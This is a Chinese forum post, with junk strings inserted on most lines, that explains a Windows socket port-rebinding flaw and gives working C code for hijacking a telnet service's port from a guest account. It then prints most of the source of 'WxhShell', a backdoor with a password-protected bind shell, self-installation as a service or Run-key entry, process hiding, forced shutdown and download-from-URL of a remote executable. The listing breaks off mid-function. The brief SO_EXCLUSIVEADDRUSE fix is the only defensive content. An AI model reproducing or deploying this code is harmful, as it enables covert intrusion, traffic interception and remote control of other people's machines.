在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`{@8Vsmy: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L?b~k= "`/h#np saddr.sin_family = AF_INET;
Qab>|eSm +uF>2b6' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-u+vJ6EY Xz6<lLb bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
df8k7D;~e l ~"^7H?4e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3GYw+%Z] @(w@e\Bq 这意味着什么?意味着可以进行如下的攻击:
{f_={k soB,j3#p'* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n-2]M05O >a<.mU|# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
b}$+H/V wq`s-qZu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
}^WdJd]P
RF$eQzW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
d UE,U= b<[Or^X
] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*uRBzO} PA{PD.4Du 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
dw>C@c#" 20h}
[Q( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4&lv6`G ` D(op)]8 #include
GRIti9GD #include
[T4J{y64Y #include
/|m2WxK) #include
S&5&];Ag DWORD WINAPI ClientThread(LPVOID lpParam);
H\" sgoJ int main()
s*KhF'fN {
XAKs0*J> WORD wVersionRequested;
h]&GLb&<? DWORD ret;
hg]]Ok~cAs WSADATA wsaData;
5J.bD)yrP BOOL val;
#6aW9GO SOCKADDR_IN saddr;
4}baSV SOCKADDR_IN scaddr;
?T8}K>a int err;
+zN-!5x SOCKET s;
q s!j>x SOCKET sc;
dh\'<|\K int caddsize;
Xh"n]TK HANDLE mt;
gnf8l?M DWORD tid;
[ZwjOi:) wVersionRequested = MAKEWORD( 2, 2 );
lN
4oW3QT err = WSAStartup( wVersionRequested, &wsaData );
fCn^=8KOZ if ( err != 0 ) {
r| wS<cA2 printf("error!WSAStartup failed!\n");
s-!ArB, return -1;
#pow ub }
e;q!6% saddr.sin_family = AF_INET;
w$iX.2|9%u @Sn(lnlB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
mfn,Gjt3O LzKj=5'Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?#G$=4;i saddr.sin_port = htons(23);
a 7V-C if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2DDtu[} {
CJx|?yK2 printf("error!socket failed!\n");
.k%72ez return -1;
,.8KN<A2]' }
vzAax k% val = TRUE;
qH>d //SO_REUSEADDR选项就是可以实现端口重绑定的
:gibfk]C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9wUkh}s {
!X#OOqPr= printf("error!setsockopt failed!\n");
!;v|' I return -1;
m4Qh%}9% }
<8&au(I,vB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
a(X@Q8l: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`UyG_; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'3tCH)s 1W
LXM^4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!sP{gi#= {
wH&!W~M
ret=GetLastError();
f|c{5$N! printf("error!bind failed!\n");
k@J&IJ return -1;
20 h, ^ }
'3fu listen(s,2);
g}{aZ$sta while(1)
H[$"+&q {
xwq
(N_ caddsize = sizeof(scaddr);
L|7R9+ZG //接受连接请求
]y'>=a|T sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
C`9+6T if(sc!=INVALID_SOCKET)
'@KEi%-^> {
#&aqKVY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3z?> j] if(mt==NULL)
skViMo {
n5NsmVW \x printf("Thread Creat Failed!\n");
hd<c&7|G' break;
g-bK|6?yz }
4N3R| }
!9r$e99R CloseHandle(mt);
$k%2J9O }
7(8;to6( closesocket(s);
%s|Ely) WSACleanup();
X`>i&I] return 0;
E6ElNgL }
cp7=epho DWORD WINAPI ClientThread(LPVOID lpParam)
n
M*%o- {
}2.`N%[ SOCKET ss = (SOCKET)lpParam;
/nNN,hz SOCKET sc;
J=I:CD% unsigned char buf[4096];
PiIpnoM SOCKADDR_IN saddr;
Vn}0}Jz long num;
K7:)nv
E DWORD val;
-;m0R DWORD ret;
)9`qG:b' //如果是隐藏端口应用的话,可以在此处加一些判断
l<LI7Z]A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
h(_57O: saddr.sin_family = AF_INET;
;:g@zAV saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'Aq{UGN saddr.sin_port = htons(23);
06Sceq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'9J/T57]e {
]Ie 0S~ printf("error!socket failed!\n");
J @1!Oq> return -1;
)~JHgl }
b9HtR -iR; val = 100;
6j]0R*B7`Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m8hk:4Ae {
g7`LEF <A ret = GetLastError();
w``ST return -1;
<)c)%'v }
9IfmW^0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~KX/
Ai {
??vLUv ret = GetLastError();
&.Qrs:U return -1;
'XjZ_ng }
dOH& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k2tF} {
@9RM9zK.q printf("error!socket connect failed!\n");
)lqAD+9Q closesocket(sc);
#a,PZDaE closesocket(ss);
3ym',q return -1;
9-a0 :bP }
+.FEq*V while(1)
E]n&=\ {
H3=qe I //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s)D;a-F //如果是嗅探内容的话,可以再此处进行内容分析和记录
+_oJ}KI //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
u^I|T.w<r6 num = recv(ss,buf,4096,0);
j-}O0~Jz if(num>0)
29] G^f> send(sc,buf,num,0);
'4Bm;&6M else if(num==0)
EUX\^c]n break;
O;jrCB num = recv(sc,buf,4096,0);
(vJNHY M if(num>0)
yjJ5>cg send(ss,buf,num,0);
@:vwb\azVD else if(num==0)
`kXs;T6& break;
]Q3ADh }
%pL''R9VF closesocket(ss);
0znR0%~ closesocket(sc);
_8UU'1d return 0 ;
'S&zCTX7j }
0pd'93C 16( QR- j>" @,B g* ==========================================================
*P=VFP E4/Dr}4 下边附上一个代码,,WXhSHELL
3;{kJQ mNTzUoZF'@ ==========================================================
;'@9[N9 0=1T.4+= #include "stdafx.h"
U$A]8NZ$S ^k">A:E2 #include <stdio.h>
#h
]g?*}OJ #include <string.h>
Y]2A&0 #include <windows.h>
qfm|@v|De5 #include <winsock2.h>
n 0L^e #include <winsvc.h>
/7F:T[ #include <urlmon.h>
_Q 4)X)F YPk fx #pragma comment (lib, "Ws2_32.lib")
_A9AEi'. #pragma comment (lib, "urlmon.lib")
z46~@y%k d{3QP5 #define MAX_USER 100 // 最大客户端连接数
jm/`iXnMf #define BUF_SOCK 200 // sock buffer
`1fY)d^ZS #define KEY_BUFF 255 // 输入 buffer
e6$W Qd`O Feq]U? #define REBOOT 0 // 重启
o3P${Rq #define SHUTDOWN 1 // 关机
h3
}OX{k ?%[@Qb=2 #define DEF_PORT 5000 // 监听端口
[waIi3Dv\ `b7t4d* #define REG_LEN 16 // 注册表键长度
Iit;F #define SVC_LEN 80 // NT服务名长度
?IT*:A]E U$z-e/ // 从dll定义API
( ^Nz9{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)Y{L&A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+',S]Edx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`+:`_4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&d^m 1 S;#'M![8 // wxhshell配置信息
=dYqS[kJW struct WSCFG {
k,+0u/I int ws_port; // 监听端口
<R=Zs[9M1 char ws_passstr[REG_LEN]; // 口令
>_ T-u<E int ws_autoins; // 安装标记, 1=yes 0=no
yl+gL?IES char ws_regname[REG_LEN]; // 注册表键名
h
J)h\ char ws_svcname[REG_LEN]; // 服务名
-gX1-,dE char ws_svcdisp[SVC_LEN]; // 服务显示名
#c.K/&Gc7j char ws_svcdesc[SVC_LEN]; // 服务描述信息
E{P|)`,V char ws_passmsg[SVC_LEN]; // 密码输入提示信息
g(CI;f}y int ws_downexe; // 下载执行标记, 1=yes 0=no
Txb#C[` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kUrkG80q| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
j{+.tIzpq[ [/41%B2 };
56kI
5: !wh8'X* // default Wxhshell configuration
=MDysb&: struct WSCFG wscfg={DEF_PORT,
],Do6
@M- "xuhuanlingzhe",
P{lB50 1,
sWnLEw "Wxhshell",
G3AesTT| "Wxhshell",
v;D~Pa "WxhShell Service",
YO}<Ytx "Wrsky Windows CmdShell Service",
/!XVHkX[ "Please Input Your Password: ",
s
R/F" 1,
')<hON44EX "
http://www.wrsky.com/wxhshell.exe",
_
*Pf "Wxhshell.exe"
+Q"4Migbe@ };
VQOezQs\ *#+An<iT ; // 消息定义模块
z[qDkL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3{sVVq5Y char *msg_ws_prompt="\n\r? for help\n\r#>";
$Ri; ^pZw[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_ZSR.w}j/ char *msg_ws_ext="\n\rExit.";
wgGl[_) char *msg_ws_end="\n\rQuit.";
Y\g3hM char *msg_ws_boot="\n\rReboot...";
pG;U2wE char *msg_ws_poff="\n\rShutdown...";
3"~!nn0; char *msg_ws_down="\n\rSave to ";
&E5g3lf t&e{_|i#+ char *msg_ws_err="\n\rErr!";
%YqEzlzF char *msg_ws_ok="\n\rOK!";
p947w,1![ N6i Q8P- char ExeFile[MAX_PATH];
R%[ c;i int nUser = 0;
RPL:- HANDLE handles[MAX_USER];
P.9>z7l{ int OsIsNt;
lA8`l>I di )L[<$DY SERVICE_STATUS serviceStatus;
:P0mx SERVICE_STATUS_HANDLE hServiceStatusHandle;
-r]W [FR`Z=% // 函数声明
oE]QF.n# int Install(void);
l}K37f int Uninstall(void);
mrtb*7`$ int DownloadFile(char *sURL, SOCKET wsh);
4ID5q~ int Boot(int flag);
+A?U{q void HideProc(void);
WX3-\Y5E int GetOsVer(void);
"87:?v[[1 int Wxhshell(SOCKET wsl);
=fFP5e [' void TalkWithClient(void *cs);
sdw(R#GE int CmdShell(SOCKET sock);
=]0&i]z[. int StartFromService(void);
{kR#p %E] int StartWxhshell(LPSTR lpCmdLine);
> /caXvS /jJw0 5;L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
FJ)$f?=Qd VOID WINAPI NTServiceHandler( DWORD fdwControl );
n,WqyNt* s|r3Gv|G // 数据结构和表定义
h>m"GpF
x SERVICE_TABLE_ENTRY DispatchTable[] =
k~1?VQ+?M {
XVZ {wscfg.ws_svcname, NTServiceMain},
uJ v-4H {NULL, NULL}
{&1/V };
f9{Rb/l!BQ T1=fNF // 自我安装
Z4
=GMXj int Install(void)
S;`A{Mow {
&&>ekG9@ char svExeFile[MAX_PATH];
VRB;$ HKEY key;
1=Z0w +v{ strcpy(svExeFile,ExeFile);
9CD_os\h Y`a3tO=Pd // 如果是win9x系统,修改注册表设为自启动
~2-1 j if(!OsIsNt) {
r3UUlR/Do if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1/J=uH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9~[Y-cpoi RegCloseKey(key);
I9ep`X6Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<h *4Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&0JI!bR( RegCloseKey(key);
k@W1-D? return 0;
Lt>IX") }
JDT`C2-Q }
P@c5pc#| }
61'XgkacDS else {
r mg}N 7J<5f) // 如果是NT以上系统,安装为系统服务
QhJiB%M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
c9h6C if (schSCManager!=0)
o!A+&{ {
E hMNap}5" SC_HANDLE schService = CreateService
z-)O9PV (
Lw>N rY(Y schSCManager,
[Z$[rOF wscfg.ws_svcname,
#S"nF@ wscfg.ws_svcdisp,
*gWwALGo5 SERVICE_ALL_ACCESS,
?.BC#S)q1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
p0vVkdd SERVICE_AUTO_START,
c5GuM|*7 SERVICE_ERROR_NORMAL,
:"/d|i`T svExeFile,
;NITc NULL,
9'bwWBf7 NULL,
R8'RA%O9J NULL,
Ds:'Lb NULL,
_I5Y"o NULL
P/_['7 );
j&qub_j"xX if (schService!=0)
}*]-jWt1J\ {
gRcQt : CloseServiceHandle(schService);
(SAs- CloseServiceHandle(schSCManager);
[d]9Oa4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3h`f 6 strcat(svExeFile,wscfg.ws_svcname);
$~T4hv : if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<wD-qT W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[/8%3 RegCloseKey(key);
S 30%)<W return 0;
0<@@?G }
(n_/`dP }
'TB2:W3 CloseServiceHandle(schSCManager);
_X
x/(.O }
:d'8x }
13x p_j `VguQl_,gA return 1;
Otn1wBI }
=@~Y12o?% '}Z<h?9 // 自我卸载
' S/gmn int Uninstall(void)
fe_5LC" {
QoT;WM Z HKEY key;
uoh7Sz5!^ ]:J$w]\ if(!OsIsNt) {
4^o^F-k' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@cXMG6:{ RegDeleteValue(key,wscfg.ws_regname);
uQKT RegCloseKey(key);
63IM]J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a9Zq{Ysj RegDeleteValue(key,wscfg.ws_regname);
z+X}HL RegCloseKey(key);
b@hqz!)l` return 0;
'!B&:X) }
J5,9_uo] }
Ab.(7GFK }
a0)QH else {
]3Sp W{=^( BnF^u5kv % SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Nu)NqFG, if (schSCManager!=0)
X|]AT9W {
>Cq<@$I2EB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
mj7#&r,1l if (schService!=0)
1T
n} {
c'\dFb9a if(DeleteService(schService)!=0) {
gL/9/b4 CloseServiceHandle(schService);
`C'H.g\>2Q CloseServiceHandle(schSCManager);
#&e-|81H return 0;
QS;f\'1bb }
+]{G@pn CloseServiceHandle(schService);
&s>Jb?_5Mx }
S)"Jf? CloseServiceHandle(schSCManager);
)MT}+ai }
{(Es(Sb}c }
XfIJ4ZM5 2=!RQv~% return 1;
Y"$xX8o }
b4Ekqas 6[AL|d
DK // 从指定url下载文件
KLk~Y0$:v int DownloadFile(char *sURL, SOCKET wsh)
N?`' /e {
jT;;/Fd3/ HRESULT hr;
}4X0epPp;: char seps[]= "/";
]7c=PC char *token;
R`-S/C char *file;
-jmY)(\ char myURL[MAX_PATH];
zX i'kB char myFILE[MAX_PATH];
A?OQE9' &_8947 strcpy(myURL,sURL);
T6$+hUM$1 token=strtok(myURL,seps);
<(#ej4ar, while(token!=NULL)
a(ZcmYzXU {
|CbikE}kL file=token;
@BMx!r5kn token=strtok(NULL,seps);
lq7E4r }
b"
[|:F>P H3oFORh GetCurrentDirectory(MAX_PATH,myFILE);
P16~Qj strcat(myFILE, "\\");
VuZr:-K/ strcat(myFILE, file);
-yNlyHv9 send(wsh,myFILE,strlen(myFILE),0);
Z0r'S]fe send(wsh,"...",3,0);
yEy6]f+>+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\o3gKoL% if(hr==S_OK)
m+$VVn3Z} return 0;
KwVbbC3 else
t"I77aZ$A return 1;
1X1dG#: *|HY>U. }
eS){1
C9)@jK% // 系统电源模块
*lJxH8 \ int Boot(int flag)
J]r^W)O {
m.0*NW HANDLE hToken;
u: TOKEN_PRIVILEGES tkp;
|k00Z+O( z\4.Gm- if(OsIsNt) {
;q>ah!"k OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1G`Pmh@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<wHP2|<l* tkp.PrivilegeCount = 1;
}Ou}+^Bc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ LJ73
! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u)Whr@m if(flag==REBOOT) {
8H`[*|{' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;<4a*;IO return 0;
<%mRSv }
4Wp=y else {
uhq8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,<X9 Y2B return 0;
|6y }
-trkA'ewZ }
F((4U"
else {
0<*<$U if(flag==REBOOT) {
Vi|#@tC' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{Y1Ck5 return 0;
cm+P]8o%{ }
i"=\d else {
r:
:b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1{.9uw"2S return 0;
gnHbb-<i, }
asqV~n }
"ocyK}l.?
TkF[x%o return 1;
z0Z%m@ }
V]?R>qhgu -tU'yKhn // win9x进程隐藏模块
Rk8P
ax/JK void HideProc(void)
EiaW1Cs {
wdoR%b{M qxJ\ye+'* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.X;K%J2 if ( hKernel != NULL )
"uf%iJ:% {
*=xr-!MEk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_','9| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
c1gQ cqF FreeLibrary(hKernel);
hCo|HB }
FC4wwzb f,Ghb~y return;
!TcJ)0
}
bN=P*hdf [PbOfxxgA // 获取操作系统版本
&6k3*dq int GetOsVer(void)
7PF%76TO {
51.%;aY~z OSVERSIONINFO winfo;
5E
<kwi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:fJN->wY^s GetVersionEx(&winfo);
;O#>Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
q0\6F^;M return 1;
Zgb!E]V[ else
]JR +ayk7 return 0;
M'l ;: }
OB}Ib] bQ5\ ]5M // 客户端句柄模块
Ht&YC<X int Wxhshell(SOCKET wsl)
&>}5jC.I {
@[v~y"tE} SOCKET wsh;
U`s{Jm struct sockaddr_in client;
W!(LF7_! DWORD myID;
%N_%JK\{@ (uidNq while(nUser<MAX_USER)
)=-szJjXZ {
]}X int nSize=sizeof(client);
Vf1^4t wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Dum9lj if(wsh==INVALID_SOCKET) return 1;
k==h|\| AwF:Iu^3n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8Cv?Z.x5 if(handles[nUser]==0)
h@wgd~X9 closesocket(wsh);
Z5]>pJFq, else
l9H!au= nUser++;
7cMv/g^h@ }
uXl3k:_n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
An/|+r\ >c}u>]D return 0;
AkiDL=;w }
.5{ab\_af =H]@n|$( // 关闭 socket
2I{"XB void CloseIt(SOCKET wsh)
Oa>Ppldeg {
mB)bcuPv closesocket(wsh);
1m0c|ckb nUser--;
Z<{QaY$" ExitThread(0);
dUdT7ixo }
5Jnlz@P9 )Xyn
q( // 客户端请求句柄
Yz)qcU void TalkWithClient(void *cs)
J<lO=
+mg {
oe~b}: q-d:TMkc SOCKET wsh=(SOCKET)cs;
~flV`wy$$1 char pwd[SVC_LEN];
+[g,B1jt char cmd[KEY_BUFF];
sW8dPw
O char chr[1];
"tpSg int i,j;
`5Zz5V T^]}Oy@e,J while (nUser < MAX_USER) {
Nmh*EAJSy B4 }bVjs if(wscfg.ws_passstr) {
hehFEyx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[z9Z5sLO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S:ztXhif> //ZeroMemory(pwd,KEY_BUFF);
sdmT i=0;
b5n'=doR/I while(i<SVC_LEN) {
lsNd_7k C$)onk // 设置超时
l%i+cO D
fd_set FdRead;
Q#zmf24W struct timeval TimeOut;
_v]MsT-q FD_ZERO(&FdRead);
\xoP)Ub> FD_SET(wsh,&FdRead);
0#^v{DC TimeOut.tv_sec=8;
<1M-Ro?5k TimeOut.tv_usec=0;
;t`&n['N> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
U:_^#\p if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\1Em`nvOX r",GC] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
sCHJ&>m5- pwd
=chr[0]; "C`Ub
if(chr[0]==0xd || chr[0]==0xa) { [}]Q?*_
pwd=0; S>1Iky|
break; -A!%*9Z
} 7Hu3>4<
i++; P7/X|M z
} FaJ &GOM,
W
`}Rf\g
// 如果是非法用户,关闭 socket E-g_".agO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k|d+#u[Mj@
} jRV/A!4
v|2T%y_
u
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iAU@Yg`pt
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =w0R$&b&
>[*qf9$
while(1) { bA->{OPkT
GR32S=\
ZeroMemory(cmd,KEY_BUFF); *~i
])4
/&94 eC
// 自动支持客户端 telnet标准 ,zY$8y]
j=0; lHX72s|V
while(j<KEY_BUFF) { 8}UIbF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1|wL\I
cmd[j]=chr[0]; f&
'
if(chr[0]==0xa || chr[0]==0xd) { N] sAji*
cmd[j]=0; ?FcAXA/J{
break; C;urBsC
} uGlUc<B\*
j++; q'82qY
} HHsmLo c4
P";'jVcR
// 下载文件 0lR5<^B
if(strstr(cmd,"http://")) { s->^=dy
send(wsh,msg_ws_down,strlen(msg_ws_down),0); MFk5K
if(DownloadFile(cmd,wsh)) "9e\c;a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L;I]OC^J
else sLQ^F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8X|-rM{
} H_Q+&9^/
else { 0"bcdG<}
@<&m|qtMsz
switch(cmd[0]) { <UQbt N-B\
C~iL3Cb
// 帮助 ySDH"|0
case '?': { 04=c-~&q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^r,=vO
break; y
h9*z3
} 9qG6Pb
// 安装 BF{Y"8u$
case 'i': { b1?'gn~
if(Install()) S|`o]?nc>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dlTt_.
else ) hfpwdQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u4h4.NHX
break; <W $mj04@
} Z?m3~L9L2
// 卸载 `+Q%oj#FF
case 'r': { j8lb~0JD
if(Uninstall()) 9;-p'C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %8~NqS|=
else a!AA]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SI-Ops~e
break; 'SF<_aS(
} I9hK }D
// 显示 wxhshell 所在路径 %d<"l~<5;
case 'p': { '(|ofJe!
char svExeFile[MAX_PATH]; _zi|
strcpy(svExeFile,"\n\r"); WEi2=3dV
strcat(svExeFile,ExeFile); 0Z{ZO*rK
send(wsh,svExeFile,strlen(svExeFile),0); ~FG]wNgS
break; :X
(=z;B;N
} G*P#]eO
// 重启 ^3L0w}#
case 'b': {
cHt#us
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |_@>*Vmg
if(Boot(REBOOT)) ,1o FPa{?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j+
0I-p
else { VS8Rx.?
closesocket(wsh); JrRH\+4K
ExitThread(0); j HJ`,#
} u5f9Jw}
break; j\^CV?}sm'
} a HR"n|7{
// 关机 dVT$ VQg
case 'd': { @QP z#-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l]l'4@1
if(Boot(SHUTDOWN)) 338k?nHxv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GDiBl* D
else { p4
^yVa
closesocket(wsh); n]o<S+z
ExitThread(0); vT,AMja
} q6V>zi
break; VQ9/Gxdeo
} n[Y~]
// 获取shell Fyatd
case 's': { IKilr'
CmdShell(wsh); 6zuTQ^pz
closesocket(wsh); fHd#u%63K
ExitThread(0); $C$V%5aA
break; <1${1A <Wa
} [j/9neaye
// 退出 N~zdWnSZ@G
case 'x': { 0{}8(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aE$[52
CloseIt(wsh); fSvM(3Y<Qh
break; Uf;^%*P4
} R|87%&6']
// 离开 ,S]7 'UP
case 'q': { jLHkOk5{:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); S k\K4
closesocket(wsh); Ls+2Zbh
WSACleanup(); Tqn@P
exit(1); 5f K_Aq{
break; nazZ*lC
} Gm^U;u}=f
} -ifFbT+x
} 4yA+h2
0rs"o-s<
// 提示信息 ;RPx^X~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V#gK$uv
} gu.}M:u
} [MM~H0=s
"CQa.%
return; =wV<hg)C
} m'=Crei
uGK.\PB$
// shell模块句柄 a![{M<Y~
int CmdShell(SOCKET sock) IDriGZZ<)6
{ h_,i&d@(
STARTUPINFO si; j@3Q;F0ba
ZeroMemory(&si,sizeof(si)); q\4Xs$APq
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9W1YW9rL
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DgQpHF
PROCESS_INFORMATION ProcessInfo; +.b,AqJ/
char cmdline[]="cmd"; .2Elr(&*h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b&N'C9/8
return 0; 9x9 T<cx
} u(F_oZ~
9ZsVy
// 自身启动模式 w4{<n/"
int StartFromService(void) U,{eHe ?>T
{ %axh`xK#
typedef struct U}rU~3N
{ \aUC(K~o\;
DWORD ExitStatus; V1`o%;j
DWORD PebBaseAddress; w(3G&11N?
DWORD AffinityMask; K+K#+RBK
DWORD BasePriority; (Y? gn)*t
ULONG UniqueProcessId; &>W$6>@
ULONG InheritedFromUniqueProcessId; j[G
